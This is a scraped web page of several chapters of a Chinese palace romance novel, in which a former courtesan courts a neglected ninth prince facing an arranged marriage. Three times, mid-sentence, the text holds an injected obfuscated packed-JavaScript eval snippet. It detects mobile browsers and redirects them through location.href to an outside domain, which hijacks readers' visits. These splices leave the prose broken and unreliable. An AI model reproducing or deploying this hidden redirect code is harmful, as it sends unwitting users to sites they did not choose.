车门大开,地面上架好了车梯,容怀瑕从马车上一下来,就正好瞧见两人立在门前似是在分辩什么的样子。 许是他平日里不愿争人眼球,相较于其他皇子衣着用度上都更显朴素。今日的容怀瑕一身云纹锦袍,银冠玉带,比以往华贵讲究了不少,加上他本就俊逸的面容,让人一看竟是挪不开眼了。 “您回来了!”陆离见自己主子回来立刻迎了上去,一面帮他整理好微微皱起的衣摆,“殿下怎么这么就早回来,不是说晚上还有宫宴?” “七皇兄今日也回宫了,父皇有他们陪着就好。”容怀瑕淡然回应,狭长的瑞凤眼中带着些许探究,他的目光落在面前明艳清冷的姑娘脸上。“方才你们在说什么?” “殿下,属下只是问千姑娘去了哪里,担心她的安危罢了......不过千姑娘似乎会错了意,以为属下是想限制她的自由,还说是殿下准许姑娘外出的。”说完,陆离轻轻扫过她,目光稍作停留后便移开,其中深意不言而喻。 好个陆离!告状倒是挺熟练,居然抢先她一步。 虽然他所言倒是事实没错,只是换了种语气说辞,好像是她打着容怀瑕的旗号做什么坏事一样。 千裔清正欲开口解释,却见容怀瑕神色淡淡的点了点头,“嗯”了一声后便没再说什么,抬脚跨过大门继续向院子里去。 千裔清一怔。他没生气,甚至是......毫无反应? 该不会是气昏头了? 千裔清两步上前追在他身后,咬着唇解释:“殿下误会了,我只是见您不在家中,觉得这宅院里空落落的,这才随意上街走了走。殿下若是不高兴,我以后——” 紧紧跟随着的脚步一顿,眼前的影青色突然一顿,柔滑的锻料若有似无的轻蹭过她鼻尖。背影的主人转过身来,脸上看不出什么情绪。 他仍是淡淡的,语气却很认真的对她重复了一遍曾说过的话。 “我没有不高兴,你想去哪便去哪,这是你的自由,我说过不会约束你。” “可是殿下——” “陆离,你也记清楚。” 陆离还想说什么,横了她一眼后还是什么也没说,躬下身子应道:“是,殿下。” 容怀瑕点头,抬起步子踏进阁楼,只留下两个风中无言的人。 只不过陆离是在担心容怀瑕安危。 而千裔清却是在为自己暗暗叹气。 容怀瑕,真的对她毫不在意。 - 夜幕低垂,天色干净的如一汪深潭,一颗碎星也没有,只有一轮长圆形的月亮,可惜也不够明亮。 正是亥时三刻,府中院落都已经清静了,只有中书阁的窗纸还映着烛火。 容怀瑕还没睡。 千裔清在书房门前停住,掌心紧了紧手上的瑶盘。稍作停顿,她空出一只手,屈指在门框叩了三叩。 “进来。” 门内遥遥的传来容怀瑕的声音,得到首肯,千裔清这才推门而入。 阁内烛光犹为明亮,容怀瑕一身月白色常服,身上带着刚刚沐浴过的焚香气息。 “你怎么还没睡?”他抬头,表情略显惊讶。 瑶盘上稳稳放着一只白玉雕花碗,暖白色的碗碟中是蜜褐色的热汤饮,星星碎碎的明黄色桂花在面上点缀,带着浓郁的酸甜香气。 “殿下不是也没睡?”千裔清将白玉碗小心推置他面前,“我煮的桂花酸枣汤,殿下要不要试试?” 容怀瑕顿了一顿,缓缓接过汤碗,轻道了一声:“谢谢。” 这声谢谢带着几分拘束和不自然,像是十分不习惯别人递来的好意,又像是对旁人的关心极为陌生,总之有些别扭。 但他还是放在唇边轻抿了一口。 “怎么样?” 略带期许的目光看着他,像是讨要奖赏的小猫。 容怀瑕轻轻蹙眉,又极快的掩饰下去,“很好。” “可你刚才皱眉了。” 千裔清盯着他,似笑非笑。 带着被拆穿的尴尬之色,他轻咳一声委婉道:“很好......不过有些酸。” 他口味清淡,不大吃酸的,也不喜欢甜食。这碗汤几乎是精准踩在他的雷点之上。 千裔清撑着下巴俯在他桌角,仅仅隔着一盏灯的距离。柔和的颜色笼在她的侧脸,也打在容怀瑕的瞳孔中。 “这汤里除了炒酸枣只有一些甘草桂花之类的,所以酸味会比较明显,我瞧殿下总是晚睡早起一定休息不好,这桂花酸枣汤可以助眠。”她顿了顿,皱起鼻子略带委屈道,“殿下若实在喝不惯便算了。” 说完,她作势就要夺回容怀瑕手中的玉碗。 端着碗的手臂向后撤了半分,容怀瑕一滞,“没有,我喝的惯。” 像是为了印证他的话,他把碗递到唇边,又是默不作声喝了起来。 要不是他正以极为缓慢的速度喝着,以及那不由自主蹙起的眉头,连千裔清都要相信他是真的喜欢了。 她微微翘起嘴角,下巴架在手背上看他。“殿下今日心情不好?” “为什么这么问?”话一出口,他觉得有点暴露心事,忙垂眼改口,“我没有心情不好。” 此时再狡辩显得为时已晚。 没理会他话中遮掩,千裔清自顾自问道:“是因为太子,还是因为皇上?” “五哥册封太子是喜事,我自然为他高兴。” “噢......那便是因为皇上了。”她点点头,自行给了答案。 捏着碗碟边沿的手指微微用力,指节的血色被挤压的全无,与白玉颜色相近。 千裔清看着他的动作,眉梢轻挑,又将身子凑近了几分。她轻笑道:“殿下如果不嫌弃,不妨和我说说?” 她故意将“不嫌弃”三个字咬的很重,容怀瑕时常告诉她不要轻视自己,若他此时隐瞒便是打自己的脸。 千裔清此问颇有些逼他张口的意思。 容怀瑕沉吟,放下玉碗,似是悄声叹了口气。 “今日册封大典结束,父皇召我去承安殿。” 说到这里,他轻扯嘴角,垂下眼睑露出一个略带苦涩的笑容。 “坊间都传九皇子容怀瑕不得圣心,不过是个空有虚名的弃子罢了。这些想必你都听说过。” 千裔清点点头,“倒是略有耳闻。” 容怀瑕在宫中的日子并不好过,否则他也不会自行迁出宫独居。不过这些都是陈年旧事,他犯不着为这个不高兴吧? 正疑惑着,容怀瑕又道:“今日父皇召我......是想为我指婚。” 说完,他抬眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899841|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着千裔清,澄澈的瞳孔被灯光照的发亮,那其中映着的是她精致明媚的面容。 “是......哪家的小姐?” 她轻咬嘴唇,眉头微蹙。不出意外的话,应当就是祝音了。 千裔清皱着眉,这表情落在容怀瑕眼中,还以为她在为自己即将另娶而伤心。 “祝丞相的千金,祝音。” 意料之中的答案,只是她没料到永光帝竟是这么没耐心。原以为经过“为青楼女子赎身”这事,永光帝能够顾及皇家脸面和相府尊严将婚事放一放,没想到册封大典刚过,他就急着把这件事重提了。 “殿下答应了?” 掌心下被翻起几页的书册微微皱起,是他骨节分明的手指使力的结果。容怀瑕看着她,不知想从她眼中读出些什么,没答她的话。 难道真的答应了? 眉间不觉染上几分焦灼,她急声又问:“你真的答应了?” 此言一出,她很快意识到自己的不敬和失态,垂眸低声道:“殿下......我失言了......” 容怀瑕合上书页,沉声道:“你希望我答应?” 千裔清摇头:“我自是不想你答应的。” “为何?”他顿了顿,问出心中已久的疑虑,“其实那日在流月坊我就想问,你为何执意要跟着我?” 千裔清一怔,微垂眼睫略显羞赧:“我喜欢殿下。” “是么,你喜欢我什么?” 这语调不温不凉,她垂着眼眸看不到容怀瑕的表情,只能听到他冷冽的声音不带什么温度,若硬是要说的话,带了点儿探究。 仿佛这才是他的本性一般,寡淡沉静。 然而抬眸,青涩俊秀的面容就在她眼前,容怀瑕的心思几乎是袒露在她眼前的。 他不明白,所以想知道。 就是这样清晰的疑惑和想要确认她心意的表情,竟让她心中生出几丝欺骗的不忍。 片刻,她定了定心神,再望向他的眼神缱绻。 “我对殿下一见倾心。” “一见倾心。”他自顾自重复了一遍,不知在想些什么,“若论样貌,二哥当属夜南第一。” “那又如何?”千裔清扬眉,对他的话嗤之以鼻。 她支起半身,大胆地把身子探去,鼻尖凑近,他身上的焚香气息清晰把她包裹。 末了,她目光如炬,定定的看着他:“我喜欢殿下。有殿下在,我便看不见旁的人了。” 这话说的过于直白,甚至于她在张口时也不露一丝一毫的羞愤和惧色,咫尺相隔,反倒是容怀瑕先露了怯,悄悄把上身向后移。 千裔清却立刻注意到了他的动作,在他方有意后退时便再度跟上,两只手直接架在他腰侧,整个人半进了他怀中。 “千姑娘——” “殿下不是想知道我喜欢你什么?” 她伸出食指,微凉的指尖从他腰际勾上他的颈间。 “我喜欢你这里。” 再度上移,路过他下颌来到耳际。 “这里。” 指尖落在他高挺的鼻梁,四目之间只隔了呼吸。 “还有这里。” 最后,指尖停在了他温热的唇上。她目光灼灼,透过手指紧紧盯着他的嘴唇再没说话,而是微微勾起在他唇角划过,将自己的唇瓣轻轻送了上去。 6. 后果 手臂一侧的烛火突然闪了一下,灯罩下的烛芯一滞,随后再度恢复成原来的样子。 原是只小飞虫不知好歹地钻进灯罩,霎那被烧的连烬都不剩。 一只指节明显的手蓦的扣紧她下巴,硬是把她拉开了一段距离。 漆黑如墨的瞳孔中隐有烛光微闪,照的他眸子发亮,但此时这双眼睛的主人却着实算不得高兴。 “千姑娘,自重。” 容怀瑕说出这句话时的语气明显带了几分不满,只是耐着他的好性子没有发火罢了。 千裔清把心一横,本想来个一不做二不休,硬是要上前,怎奈力气实在是敌不过一个常年习武的男子。下颌上捏着她的力道并不算重,却是让她挣脱不得,后退不得,也前进不得。 她悄悄在自己腿上掐了一把,指甲透过轻薄的衣裳刺痛她的肌肤,千裔清身子一颤,眼泪在眼眶中打了个转儿却没流出来。 不过她这眼圈儿微红的样子,看起来倒像是受了什么委屈。 容怀瑕一愣,他在坊间生活三载便被接回皇宫,如今已有十四年。这些年来见惯了后妃女子的冷言冷语和尖酸刻薄,见惯了欺软怕硬和相互迫害,唯独没有见过的是女子对他露出这种表情,一时间不知如何应付,只得缓缓松手。 “我知道自己配不上殿下,更无权干涉殿下另娶她人,若人人都能控制自己的感情,我也想......不要喜欢殿下。”她垂下眼帘,眼角一颗泪珠滚下,落在她微微攥起的手背上。她深吸口气,露出一个勉强的笑,“是我逾矩了,请殿下恕罪。” 说完,她端起瑶盘,利落的收拾好只剩羹底的白玉碗,转身离开。 她脚步放的极慢,步子落的也极小。 她在等,或者说她在赌。 她在赌容怀瑕会拉住她、追上她,哪怕是开口喊她。 但容怀瑕没有。一直到她打开书阁的大门转身掩上,容怀瑕只是坐在原处静静的看着她,没有任何动作。 - 宫中总归会有对皇子频频示好意图攀上高枝的女子,宫外也不乏其数。不过她们的示好向来集中在璟王和太子身上,和容怀瑕没什么关系。 众人虽不理解为何永光帝不待见这个儿子还要把他接回宫养着,但皇帝的心意毕竟不是寻常人可以妄加揣测的,既然永光帝不喜欢,他们只需跟随圣意就好了。 抱着这种想法,自然也就没什么人愿意与容怀瑕交好,左不过是在礼数上维持分寸足以。 也正因如此,容怀瑕少与女子相处,也不会揣测女儿家的心意。 当他听到千裔清说喜欢时无疑是讶然和不解的。他想知道她为什么会喜欢他,也想知道她是不是真的喜欢他。 至于还有没有旁的想法,或许连他自己也不清楚。 但容怀瑕在想什么千裔清一定是不清楚的,她只是觉得自己太失败了。 寻常百姓家的女儿是不会去书院读书的,再加上父母乃是白手起家,一步一个台阶的才开上琴肆,年幼时自是没什么闲钱给她请私塾先生。她肚子里那点儿墨水,无非是跟在父母身边耳濡目染罢了。 千裔清是个对自己认知十分清晰的人,她知道自己没什么文采,当然也知道自己有一副不俗的容貌,这是她唯一拿得出手的优点。 但这点儿优点在容怀瑕这却好像并不管什么用。 今晚这一遭好像是把他给得罪了,明日他会不会一个不高兴把自己给赶出去?莫不是真要她来个一哭二闹三上吊? 这可如何是好。 千裔清穿着单薄的寝衣,在床榻上翻来覆去无法入眠。她想了想,还是披上外裳来到窗边。 轻巧的窗子刚被推开一条窄缝,夜里的寒气就慌忙挤进稍暖的屋子。她在锦被中好不容易捂热的手霎时变得冰凉僵硬起来。 轩窗支起,远远望去,漆黑不见其物的夜里只有阁楼上一角还亮着暖光,那是容怀瑕所在的书房。 自打她离开后几次看去,内阁的灯光都一直未熄。 摇了摇头,千裔清再度放下窗子。 看来他真的很生气,甚至气到打算一夜不睡。 - 翌日,千裔清起了个大早,却赖在房里头一直没敢出去。 她还真有些怕见到容怀瑕,怕他一见面就回想起昨夜的事将她赶出去。 推开房门的时候千裔清还有些忐忑,好在外头依旧是鸟语花香,空气好闻的紧,这才让她紧张的情绪稍稍得到舒缓。 正在院子里侍弄花草的绛珠闻声看去,见是千裔清睡醒起了,便弯下身子行了个礼。 绛珠歪头在她脸上打量了一圈,疑惑道:“姑娘脸上怎么好像有两块儿青紫啊?倒像是被人掐的。” 千裔清扯了扯嘴角。可不就是被你家主子弄的。 她自小如此,肌肤细嫩的稍一用力就会留下印儿来,身上常常不知怎的就青一块紫一块。 千裔清原本是打算涂些脂粉遮掩一下,但她担心今天的日子不会好过,倒不如借此装个可怜,于是便放着没管。 这丫头倒是眼尖,一眼就看着了。 千裔清没答,抬头见天色已经大亮,便问道:“殿下呢?” “殿下一大早就进宫了,这会儿还没回来呢,姑娘要是有什么急事可以让陆离大人捎信过去。” “不用了。”千裔清摇头,思忖片刻又问,“殿下素来不怎么入宫的,今日可是有什么重要的事?” 绛珠略显歉意地笑道:“这个奴婢就不清楚了,殿下的事从来不会和奴婢们说的。” 千裔清点点头,拉着她在石凳上坐下:“你也别站着了,咱们坐下聊聊。” 绛珠迷迷糊糊被她拉着坐下,听到这话立刻从座上弹了起来。 “千姑娘使不得!”绛珠低着头退了两步,急促道,“绛珠是下人,不能与主人平起平坐,有什么您问就是!” 千裔清见她态度坚决,知道这府邸中下人有下人的规矩,便没再和她在这事上争执。 她四下打量一圈,目光落回绛珠身上:“霜序居的仆役一直都是这么少吗?” “是这样的。”绛珠老实答道,“殿下说这宅院小,用不着那么多人,而且殿下喜静,向来不让我们近身伺候的。” 这倒是。 千裔清陡然想起,容怀瑕身边除了一个陆离几乎是没什么人接近的。 看来是众人约定俗成,干好自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899842|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分内之事打理好宅院即可。 “那......殿下从前可有心仪的女子?你可知道他喜欢什么样的?” “这个奴婢怎么会知道呢。”绛珠想了想说,“奴婢在这儿待的时间不长,倒是没见过殿下带什么人回来,您应该是第一个。” 绛珠说这话的时候眼神中带了一丝揶揄,千裔清只当没看着。她的出身府中上下全都知晓,她是如何死乞白赖跟过来的众人自然也都清楚。 “殿下平日里都喜欢做些什么?” “唔......无非就是读书、写字,还有练练枪法和刀剑之类,有时候也会和其他几位殿下一同出去。” 容怀瑕虽然在永光帝眼中不被重视,却是和几位皇兄都相处的不错,其他几个做兄长的对他也很照顾,这倒是难得。 千裔清问道:“绛珠,你知不知道殿下和哪位皇子关系最好?” “这个——” “你若是想知道殿下与谁交好,何不亲自去问殿下?” 千裔清转头,只见陆离提着佩剑走来,一脸的冷然。 “陆离大人。”绛珠忙住嘴,对着陆离行了个礼,面色惶恐。 陆离颔首,微微侧身对着绛珠道:“你先下去吧。” “是。”绛珠应了一声,头也不敢抬,急忙提起腿逃离这个是非之地。 千裔清对陆离没什么好感,正如陆离看着她的眼神也在如此回应。 “千姑娘对殿下的事很感兴趣?” “是啊,我喜欢殿下,所以想对他多了解一些,有什么不对吗?” 千裔清垂眸,目光落在身边的石桌桌面上,她伸手拂去一片落叶,用手上动作回避陆离咄咄逼人的目光。 陆离冷笑:“没什么不对,不过殿下与谁交好似乎不该在你的了解范围之内吧?” 停在光滑石面上的指尖突然停住,千裔清微微一滞,勾起唇角抬头看他:“陆离大人这话是什么意思,你是想说我对殿下别有用心吗?” “是否别有用心,姑娘心里最清楚。” 千裔清神色不变,手指却悄悄蜷起握着。她几乎怀疑陆离看着她的时候是带着杀心的,他对他的主子很忠诚。 若陆离真的知道了她的目的,难保不会一剑赐她一死。 刚刚离开的绛珠一路小跑又拐回两人所在之处,千裔清余光一扫,又换上平日里那副好说话的模样。 转眼间,绛珠又来到面前:“千姑娘、陆离大人,殿下从宫里回来了,正在往这边儿来呢!” 饶是千裔清再镇定,此时也是抑制不住紧张猛的起身。 容怀瑕回来了,而且是一回来就往她这儿赶,看来真是不打算留她了。 陆离看了绛珠一眼,对着千裔清道:“既然殿下回来,那我就先去迎接了,千姑娘要不要一起?” 千裔清摇头,贝齿悄悄咬上下唇,又是摇了摇头。 见陆离大步流星离开,绛珠这才敢凑近,小心翼翼的看着千裔清。 “姑娘怎么脸色突然这么差,是不是哪里不舒服?奴婢扶您回房休息吧。” “我没事。”千裔清舒展眉头,努力对她展颜,“你去做事吧,我躺一会儿就好。” 7. 了解 大门轻扣,房门外是绛珠缓步离开的声音。 门前石阶上的落叶扫了又落,一层一层还没清理开净。女子轻巧的鞋底踩在叶片上发出“沙沙”声,这声音只响了几下便停住。 “殿下,您回来了!” “她呢?” “千姑娘好像不太舒服,奴婢刚才扶姑娘回房休息了。” 外头的人闻言一阵沉默。过了好一会儿,容怀瑕的声音才再次响起。 “请过大夫了吗?” “还没有,姑娘说她没事,不过奴婢瞧着姑娘脸色不大好,殿下还是去看看吧。” 千裔清耳畔紧贴房门,只听得急促有力的脚步声朝着她房间的方向走来,越走越近,转眼声音已经来到门外,她急忙跳起,离了那两块灼人的木板好几步远。 敲门声接着她的动作传来,紧随而后的是容怀瑕磁性的嗓音。 “既然不舒服,就请大夫来瞧瞧吧。” 千裔清微微蹙起眉头,怎么她觉得容怀瑕好像不是来赶她走的。 “殿下不必麻烦,我只是没休息好罢了。” 容怀瑕顿了顿,沉声道:“既如此,那你好好休息。” 说完,他的影子在门外一晃而去,像是真的离开了。 就这么走了? 千裔清一怔,上前几步,扒在门上附耳听着外头的动静。 脚步声渐远,门外再次恢复如初,静悄悄的,似乎是真的走了...... 千裔清犹豫了一会儿,指腹在门楣上来回划弄,最终一咬牙,扣上门闩,一点一点的将它移开。 两扇门间很快露出一道细微的缝隙,门外的地面上空落落的,并没什么人影停驻。 千裔清长出一口气,掌心按在门沿上,胳膊稍一使力便推开了。 一只脚堪堪迈出门槛,却瞥见容怀瑕正坐在她先前坐着的位置,光滑的石桌桌面上,偏瘦修长的手只余食指和中指,按在树叶上一片一片的移动着。 然而容怀瑕不必抬头就已经知道她开了门,嘴角泛起一道浅浅的弧度。千裔清离得有些远,并不能看得真切。 “既然病好了就过来吧。” 院中再无其他人,这话显然是对她说的。千裔清尴尬一笑,听话的移了过去。 走近他身边,千裔清这才看清楚容怀瑕是在拿石桌上的落叶摆字。 最后两片青色的叶子被推至面前,一个“潜”字就这么清晰工整的呈现在眼前。 “潜?” “嗯。” 一字完成,千裔清顺口念了出来,心中还在思量这个字是不是有什么特殊的含义,没想到容怀瑕竟是立刻回应了她的随口之音。 “坐吧。”容怀瑕指尖捏着一片剩余的树叶,这片树叶半绿半黄。他侧过头看她,“既然喜欢我,为什么又不想见我?” “不是不想,是不敢。”千裔清低头玩着指甲,故意不去回应他的目光。 “不敢见我,所以就装病?” 她怎么觉得这语气带了几分埋怨呢。 千裔清抬头,支起一只手臂托腮看他,面上表情似笑非笑。 “谁说我是装病。”她指了指自己下颌边缘的青紫意有所指,“是真的。” 容怀瑕目光在她侧脸停了停,轻巧避开,他其实早就注意到了,不过是故意没提起罢了。却没想到千裔清居然还能厚着脸皮帮他回忆。 他压下目光,沉声道:“府上有药,待会让绛珠给你涂一些。” “殿下弄伤我,不是应该亲自给我上药赔罪吗?” 容怀瑕看着她没答话,眼神闪烁片刻后别过脸去,耳廓却悄然爬上一丝绯红。 知他害羞,千裔清故意另一只手也托上下颌,调整了姿态更为大胆的盯着他看。 这目光终于惹得少年失措,一拂衣袖将摆的整齐的树叶扫落至地面。 千裔清心知见好就收的道理,歪着头问道:“殿下今日又进宫了?” “嗯。”他语气一顿,想起今日在宫中之事,眉梢染上一丝倦色,“昨日父皇许我考虑后再做答复。” “那殿下考虑清楚了?” 千裔清不免紧张,语气里也带了些急切的味道。 容怀瑕深深看了她一眼,似乎是想看透她面上的神情是什么含义,然而他读了一遍,像是没有读懂。 他淡淡道:“我拒绝了。” 在他提起这件事时,千裔清便已经猜到是这般结果,只不过听他亲口说出答案,她还是松了口气,难得安心下来。 “皇上答应了?” 容怀瑕摇头:“父皇说容他再想想,也让我再考虑考虑。” 不管怎么说,这件事还是有转机,至少容怀瑕是拒绝的,永光帝也是可以松口的。 千裔清浅笑,心情很好的看着他,弯起的眼睛亮晶晶的:“难道是为了我?” “不是。”他回答的果断,似是又觉得这回答会伤了她的心,又多言了一句,“你可知道父皇为何要把祝丞相的千金指给我?” 她怎会不知,正是因为明白其中缘由,她才知道永光帝对这事的态度和决心,也正因如此,才有了这一遭相识。 但千裔清摇头,佯装不知。 “满朝文武皆知我处境如何,若说谁最不可能做太子,那一定是我。”容怀瑕沉吟,“如今五哥已经立了太子,但朝中二哥的一众支持者还并未死心,这其中势力最大的莫过于当朝丞相祝既明。” 他苦笑一声:“所有人都知晓父皇偏爱五哥,即便二哥做的再好,他也从未考虑过二哥立储,若我与祝家女儿成婚,那二哥便少了一大羽翼,其余众人也便不足为惧了。”说完,他掀起眼帘看着千裔清,问,“你说,我和二哥谁更可怜?” 容怀瑕这话说的推心置腹,甚至可以说是大逆不道。 她不知道他是没有察觉自己话语的成分,还是根本就不怕她将这话宣扬出去,亦或是......他信任她。 但他总归是说了,也问了。 千裔清看着他,鬼使神差的说道:“你为什么觉得自己可怜?你若自尊自爱便不可怜,你若是自己先看轻自己,那才是真的可怜。” 容怀瑕怔了怔,将她的话在耳中消化了一会儿,突然扬起唇,露出一个耐人寻味的笑。 “那你觉得——你可不可怜?” 他这话是什么意思?是在说她如此纠缠不自爱,还是说她委身青楼看轻了自己? 好像怎么回答都不太对。 这么想着,她不由自主蹙起了眉,一时不知道说什么好。 想了想,她拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她只是觉得那样一双好看的眼睛长在这个少年脸上,澄澈、透明。明明色泽漆黑如墨看不见底,却在经历了十余年的黑暗和嘲讽后依旧明亮熠熠,干净的让人不由自主深陷。 大约是真的爱过他的母亲,所以永光帝一番纠结后还是选择带回了他们二人的儿子。 又大约是真的被她伤了心,因此永光帝在接回容怀瑕后又不愿常常见他,还给他改了名字,像是在提醒自己,又像是在提醒他。 永光帝应当也是矛盾的吧。 不过这些于她而言都是外话,她只是不明白这等私事为何容怀瑕要说给她听。 千裔清顿了顿,道:“殿下为何要跟我说这些?” 容怀瑕微微眯起眼,缓缓开口:“听陆离说......你想了解我?” “咯噔”一声,千裔清心头一跳暗道不好,真想把陆离踩在脚下狠狠碾上几圈。 这个陆离嘴也太快了,这么会儿功夫就全抖出去了,看来以后还真得小心防着他才行。 容怀瑕又道:“你如果想知道什么不妨亲自问我,于我而言没什么不能说的。” 这倒是不假,有关容怀瑕的身世旁人都是不清楚的,但如今看来他倒不是刻意隐瞒,不过是无人去问罢了。否则容怀瑕也不会轻易说给她听。 她很快展颜,对着容怀瑕莞尔:“是,既然殿下这么说,那我就直接问了。” “殿下,你喜欢什么样的女子?” 容怀瑕一愣,捏着叶片的手顿住,半晌儿没有答话。 末了,他喃喃道:“我没有考虑过这个问题。” 千裔清闻言,悄悄攀上他手指,将他手中的一只叶片摘下,取而代之的是她自己的手。 “那殿下不妨考虑考虑喜欢我?” 8. 讨好 眼瞅着面前少年的青涩面庞又要泛起绯色,也是,这等养在礼数森严的宫中男儿想必对她这般直言不讳还是会觉得吃不消。 千裔清笑了笑,在他又要说出那句“请自重”之前先收回手。 “我是开玩笑的,殿下别在意。” 容怀瑕这才神情缓和些,指尖轻颤了几下,而后起身背对着她。 “那日你奏的曲名为《千秋岁》?” “是,殿下想听?” 背身而立的人影沉思片刻,突然道:“你可知其中深意?” 这可着实难为她了,对于这首曲子,她除了知晓音谱以外,还知道这是首互诉衷肠的求爱之曲,至于其他再无甚了解。 千裔清慌了一下,还是老实答道:“不知。” “嗯。” 不知道是不是错觉,她好像听到容怀瑕失望一般的似轻叹了声,再想去追问,那人已经走远,并不打算再与她继续谈下去。 千裔清有些失神,她没会错意吧! 他方才......难道是在嫌弃自己没文化? - 霜序居,中书阁。 容怀瑕书房里的藏书确实不少,只不过他房中书籍还是兵法古籍居多,至于那些诗选杂文实在是少之又少。 千裔清本就不懂他书房里各色书籍是如何分类,也不清楚诗文作者,因此寻了半天也没见着那《千秋岁》的影子。 一连三日,容怀瑕每天都早早出门,傍晚才归,有时甚至到戌时才能见着人影。既然主人不在,她也就大胆放心的鸠占鹊巢,恶补一些文墨知识。 只可惜对千裔清而言,这些书本实在是晦涩难懂。譬如手上这本,她连字都是认不全的。 正值下午,外头的麻雀落在窗檐,小巧的影子一晃而过,扑簌着翅膀在窗纸上撞了一下又急忙飞走。 这动静千裔清却是没听着,指尖还捏在宣纸一角,人却早已俯在上面酣然入睡了。 容怀瑕一回霜序居,就听见绛雪跟绛珠谈论着千裔清晌午便进了中书阁的事,说是几日皆是如此,在屋里待了好几个时辰也不见出来。 他站在屋外,本想抬手敲门,恰逢一阵晚风拂过,房门并没阖严,轻轻一吹便开了半截。 容怀瑕怔在原地,只见千裔清俯在桌上,散落的长发微微遮住侧脸,已然沉沉睡去。 他片刻惊讶,然后走了进去。 轻罗纱衣的女子面容姣好,脸上因为睡着露出几分娇艳色彩,长长的羽睫安静的搭在柳叶弯眉之下,看起来睡得很安稳。 他转头看了看外头暗下来的天色,风里已经带了寒气,她这么睡......会着凉吧? 容怀瑕有些犹疑,手上动作却更快一步,已经探出几寸,眼看着就要触到面前女子的肩上,对方却微微蹙眉,睫毛也跟着颤了颤,像是做了什么噩梦一般陡然睁开了眼。 容怀瑕愕然,手直直的停在半空,不过千裔清显然比他更为吃惊。 她眼前本是琴肆中的一片火海,火势汹涌的几乎烫伤了她,夜里的凉意与梦中形成鲜明对比,她一时吃不消,陡然转醒。 怎知一睁开眼睛就看到容怀瑕在她面前,相距不过几寸。 她愣愣的支起身子:“殿下、殿下这么早就回来了......” “不早了。”容怀瑕暗自放下手,示意她看一眼外头的天色,又压下她本欲起身让座的肩头,“你怎么睡在这儿?” 他看了看被她压在手肘之下的书。 “《周书》?你读这个?” 说这话时,他不由轻挑了下眉梢,眼中隐有诧异之色。 “唔......嗯......对......” 千裔清避着他目光含糊其辞。 她总不能坦白自己其实是为了迎合他的喜好选了他正在读的书吧? 容怀瑕随意的点点头:“我以为你会读些诗词之类的。” 这不是没找着么! 她讪笑着没说话。 容怀瑕道:“《周书》中的内容大多晦涩,你看得懂么?” 他说这话时眼中并无嘲讽,只是很真诚的在询问。然而正是这种真诚才让千裔清更加心虚。 “......还好。”就是字都认不全罢了。 “可有什么不明白的?” “......也有一些。”无非是都不明白罢了。 容怀瑕闻言把书抽出摊开,好整以暇的弯下腰靠近她身边。 “本纪我已经读完了,哪里不懂,我可以给你讲讲。” 千裔清只觉得他的呼吸近在咫尺,偏过头,侧脸的弧度好看的让人忍不住注目。 然而也只是失神片刻,她收回目光。 “这句。”她随手指了一行字草草应付。 “这句?”容怀瑕突然也偏过头看了她一眼,神色有一些古怪。“你念于我听。” 千裔清一怔,硬着头皮念了半句便停下了。她有些丧气,直觉这样下去也不是办法。 “殿下,这些字我有半数都不认得。” 预想中的嘲讽并未到来,容怀瑕突然轻笑一声,不过这笑容单纯干净的并无一丝杂质,就像她儿时和邻居家的孩子玩闹时觉得有趣便笑一笑。 只是如此罢了。 “寻常人家的女儿能识得几个字已是不易,你无需因此介怀。既如此,还是从简单的学起吧。”说完,他转身从书架高处取了本《千字文》来,又说道,“你不必特意趁我不在过来,我在,你也可以来。” “不会打扰你?” “不会。” 得到首肯,千裔清这才松了口气,感激地对他一笑,颇有种做了坏事却遭表扬的窃喜之感。 “殿下这几日在忙些什么?” 容怀瑕神色一凛,眉间不自觉带了几分忧虑。 他年纪尚轻,与人接触的少,也不太会掩饰自己的情绪。千裔清做了两年的婢子,察言观色本是她最擅长的,因此她总能第一时刻读出容怀瑕的心情。 这次也不例外。 容怀瑕淡淡道:“也没什么,八哥明日一早就要回边关了。” “武安王殿下不是刚从边关回来吗?” “嗯,他此番是特意为了五哥回来的,现在大典结束,自然是要回去的。” 千裔清也听说过这位武安王,据说他十六岁便封了王,并自行请命驻守边关,这一年来虽是对攻占绥夏没什么进展,却也是对敌方的入侵严防死守滴水不漏。 上次在流月坊虽是被他嘲弄了两句,但千裔清打心底里对他有着敬意,因此也并不在意他对自己出身的看轻。 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几句简单的对话顷刻结束,方才的问题他还没给出答案。 不过此时再问一遍实在是有些煞风景,千裔清觉得自己没办法再厚着脸皮问出那句话了。 她只好放弃,扬起唇露出一个温婉得体的笑:“殿下去忙吧,时候不早了,我也先走了。” 千裔清起身,却被身旁的人一把攥住了手腕。 握在她腕上的手传来温热,容怀瑕紧了紧手上力道又缓缓松开。“早些睡吧。” “好。”她低眸欠身,乖巧的像豢养在家中的小白兔,让人无法不心生可怜。 容怀瑕看着她,在她起身时又说:“你不用向我行礼。” 千裔清怔然,怯怯应道:“殿下,我不敢。” “你不用向我行礼,也不必觉得自己低我一等。”他顿了顿,看着她认真道,“所以方才我想告诉你的是——我从未看轻过你。” 